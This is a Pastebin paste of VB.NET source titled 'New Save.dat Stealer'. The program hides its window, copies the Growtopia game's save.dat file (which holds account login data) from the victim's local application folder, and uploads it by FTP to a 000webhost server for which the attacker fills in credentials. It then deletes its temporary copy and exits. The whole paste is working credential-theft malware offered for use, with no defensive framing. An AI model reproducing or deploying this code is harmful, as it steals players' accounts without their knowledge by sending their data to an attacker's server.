Guest User

New Save.dat Stealer

a guest
Jan 5th, 2018
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.08 KB | None | 0 0
  1. Imports System.Environment
  2. Imports System.IO
  3.  
  4. Public Class Form1
  5.  
  6.     Dim Path = GetFolderPath(SpecialFolder.MyDocuments) + "/Temporary/"
  7.     Dim FTPFile As String
  8.     Dim AA = True
  9.     Dim BB = True
  10.     Dim CC = True
  11.  
  12.     Public Function Random(ByVal len As Integer, ByVal lower As Boolean, ByVal upper As Boolean, ByVal numbers As Boolean)
  13.  
  14.         Dim Pool As String
  15.  
  16.         Pool &= "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  17.         Pool &= "0123456789"
  18.  
  19.         Dim nn As New System.Random
  20.         Dim result As String
  21.         Dim cc = 0
  22.  
  23.         While cc < len
  24.             result &= pool(nn.Next(0, pool.Length))
  25.             cc += 1
  26.         End While
  27.  
  28.         Return result
  29.  
  30.     End Function
  31.  
  32.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  33.         If (System.IO.Directory.Exists(Path)) Then
  34.             System.IO.Directory.Delete(Path, True)
  35.         End If
  36.     End Sub
  37.  
  38.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  39.         On Error Resume Next
  40.  
  41.         Me.Hide()
  42.  
  43.         Dim FTPHost = "ftp://files.000webhost.com/public_html/"
  44.         Dim FTPUser = "Your Username" 'Change this to your 000Webhost username.
  45.         Dim FTPPass = "Your Password" 'Change this to your 000Webhost password.
  46.  
  47.         Button1.Text = Random(7, AA, BB, CC)
  48.  
  49.         Dim Source = (GetFolderPath(SpecialFolder.LocalApplicationData) + "/Growtopia/save.dat")
  50.         Dim Target = (GetFolderPath(SpecialFolder.MyDocuments) + "/Temporary/" + Button1.Text.ToString + ".dat")
  51.  
  52.         FTPFile = Button1.Text + ".dat"
  53.  
  54.         If IO.File.Exists(Source) Then
  55.  
  56.             If (Not System.IO.Directory.Exists(Path)) Then
  57.                 System.IO.Directory.CreateDirectory(Path)
  58.                 File.Copy(Source, Target, True)
  59.             Else
  60.                 File.Copy(Source, Target, True)
  61.             End If
  62.  
  63.         End If
  64.  
  65.         My.Computer.Network.UploadFile(Target, FTPHost + FTPFile, FTPUser, FTPPass)
  66.  
  67.         Me.Close()
  68.     End Sub
  69. End Class
Add Comment
Please, Sign In to add comment